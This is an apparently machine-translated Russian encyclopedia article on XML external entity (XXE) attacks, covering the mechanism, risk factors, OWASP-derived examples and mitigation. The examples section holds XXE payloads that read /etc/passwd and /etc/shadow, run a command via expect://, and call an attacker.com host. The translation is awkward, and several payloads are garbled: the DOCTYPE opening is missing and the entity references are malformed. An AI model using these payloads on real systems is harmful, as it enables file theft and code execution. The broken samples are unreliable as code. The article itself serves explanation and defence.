Атака на внешний объект XML - XML external entity attack

An Внешний объект XML атака - это тип атаки на приложение, которое анализирует XML ввод. Эта атака происходит, когда ввод XML, содержащий ссылку на внешний объект, обрабатывается слабо настроенным синтаксическим анализатором XML. Эта атака может привести к раскрытию конфиденциальных данных, отказу в обслуживании, подделке запроса на стороне сервера, сканированию портов с точки зрения машины, на которой расположен анализатор, и другим системным воздействиям.[1]

Описание

Стандарт XML 1.0 определяет структуру XML-документа. Стандарт определяет концепцию, называемую сущностью, которая является единицей хранения некоторого типа. Существует несколько различных типов сущностей, внешняя общая / параметрическая анализируемая сущность часто сокращается до внешней сущности, которая может получать доступ к локальному или удаленному контенту через объявленный системный идентификатор. Предполагается, что системный идентификатор является URI, который может быть разыменован (доступен) процессором XML при обработке объекта. Затем процессор XML заменяет вхождения названного внешнего объекта содержимым, разыменованным системным идентификатором. Если системный идентификатор содержит испорченные данные и XML-процессор разыменует эти испорченные данные, XML-процессор может раскрыть конфиденциальную информацию, обычно недоступную для приложения. Аналогичные векторы атак применяют использование внешних DTD, внешний таблицы стилей, внешний схемы и т. д., которые при включении допускают аналогичные атаки в стиле включения внешних ресурсов.

Атаки могут включать раскрытие локальных файлов, которые могут содержать конфиденциальные данные, такие как пароли или личные данные пользователя, с использованием схем file: или относительных путей в идентификаторе системы. Поскольку атака происходит по отношению к приложению, обрабатывающему XML-документ, злоумышленник может использовать это доверенное приложение для обращения к другим внутренним системам, возможно, раскрывая другой внутренний контент через запросы http (s) или запуская CSRF атака на любые незащищенные внутренние службы. В некоторых ситуациях библиотека процессора XML, уязвимая для проблем повреждения памяти на стороне клиента, может быть использована путем разыменования вредоносного URI, возможно, разрешив выполнение произвольного кода под учетной записью приложения. Другие атаки могут получить доступ к локальным ресурсам, которые могут не прекращать возвращать данные, что может повлиять на доступность приложения, если слишком много потоков или процессов не освобождено.

Обратите внимание, что приложение не должно явно возвращать ответ злоумышленнику, чтобы оно было уязвимо для раскрытия информации. Злоумышленник может использовать информацию DNS для пересылки данных через имена поддоменов на контролируемый им DNS-сервер.

Факторы риска

  • Приложение анализирует XML-документы.
  • Испорченные данные разрешены в части системного идентификатора объекта в пределах определения типа документа (DTD).
  • Процессор XML настроен для проверки и обработки DTD.
  • Процессор XML настроен для разрешения внешних сущностей в DTD.

Примеры

Примеры ниже взяты из Тестирование внедрения XML (OWASP-DV-008).[2]

Доступ к локальному ресурсу, который может не возвращаться

 <?xml version="1.0" encoding="ISO-8859-1"?>     <!ELEMENT foo ANY >   <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>& xxe;</foo>

Удаленное выполнение кода

Когда PHP модуль "ожидать" загружен, удаленное выполнение кода может быть возможно с измененной полезной нагрузкой.

 <?xml version="1.0" encoding="ISO-8859-1"?>  <!DOCTYPE foo [ <!ELEMENT foo ANY >    <!ENTITY xxe SYSTEM "expect://id" >]>     <creds>        <user>& xxe;</user>        <pass>mypass</pass>     </creds>

Раскрытие / etc / passwd или других целевых файлов

  <?xml version="1.0" encoding="ISO-8859-1"?>      <!ELEMENT foo ANY >    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>& xxe;</foo>   <?xml version="1.0" encoding="ISO-8859-1"?>      <!ELEMENT foo ANY >    <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>& xxe;</foo>   <?xml version="1.0" encoding="ISO-8859-1"?>      <!ELEMENT foo ANY >    <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>& xxe;</foo>   <?xml version="1.0" encoding="ISO-8859-1"?>      <!ELEMENT foo ANY >    <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>& xxe;</foo>

Смягчение

Поскольку весь XML-документ передается от ненадежного клиента, обычно невозможно выборочно подтверждать или избегайте испорченных данных в системном идентификаторе в DTD. Следовательно, процессор XML должен быть настроен на использование локального статического DTD и запретить любое объявленное DTD, включенное в документ XML.

Смотрите также

использованная литература

  1. ^ «Что такое атаки на внешние объекты XML (XXE)». Acunetix.
  2. ^ https://owasp.org/www-project-web-security-testing-guide/assets/archive/OWASP_Testing_Guide_v3.pdf

внешние ссылки